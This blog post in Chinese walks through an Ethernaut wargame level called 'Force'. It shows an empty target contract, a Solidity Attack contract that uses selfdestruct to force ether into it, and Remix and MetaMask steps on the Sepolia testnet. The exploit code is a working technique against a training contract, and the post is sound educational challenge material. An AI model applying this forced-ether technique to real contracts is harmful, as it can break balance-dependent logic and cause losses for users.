2023-02-05 force 第7个任务分析

由于以太坊的机制改变 ropsten测试网络没用改成sepolia测试网络了。

题目要求:

The goal of this level is to make the balance of the contract greater than zero.
给空合约输入币让合约余额大于0

题目合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

是的,一点函数都没有!!用transter函数不起作用。
但,其实是有个系统函数的,selfdestruct可以把币弄进里面,无论这个函数里面有限制没有。

老规矩,先get new instance,再发布合约:

pragma solidity ^0.8.7;

contract Attack {
    uint b;

    event log(uint);
    constructor()public{
        b=0;
    }
    // 写receive函数是为了让这个合约接收一点ether,我在测试时如果只有下面的exploit函数转账一直失败
    // 当然也可以在创建合约时直接存入
    // funCfans注:根本存入不了,value那里根本不能写超过0的数据
    receive()payable external{
        b+=msg.value;
        emit log(b);
    }
  function exploit(address payable _target) public payable {
      selfdestruct(_target);
  }
}

(以下摘自以太坊Metamask安装以及remixIDE下Solidity简单智能合约编写部署
合约编辑好,并且在SOLIDITY COMPILER编辑无误后

首先,切换到DEPLOY & RUN TRANSACTIONS选项卡,并在Environment下拉列表框中选择Injected Web3 - MetaMask。这将Remix IDE连接到MetaMask钱包,并通过MetaMask连接到sepolia测试网络。

此时可以在Evironment下看到“sepolia”。在Account选择框中,显示钱包地址。在刚刚确认的“Run”设置下方,是Attack合约,点击deploy进行创建。

MetaMask中可以看到,合约创建交易没有ether,但它有602个字节(编译的合约),并且会消耗相应的Gwei。点击confirm来批准:

如何创建合约

给这个合约送点ETH,然后查看控制台的instance address或者执行contract.address看下要执行的合约地址在哪里:0x85c789936caca0a0c4f3Bb55cd9A87169AEDEc75

exploit执行,再submit distance看看
好嘞,成功!

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容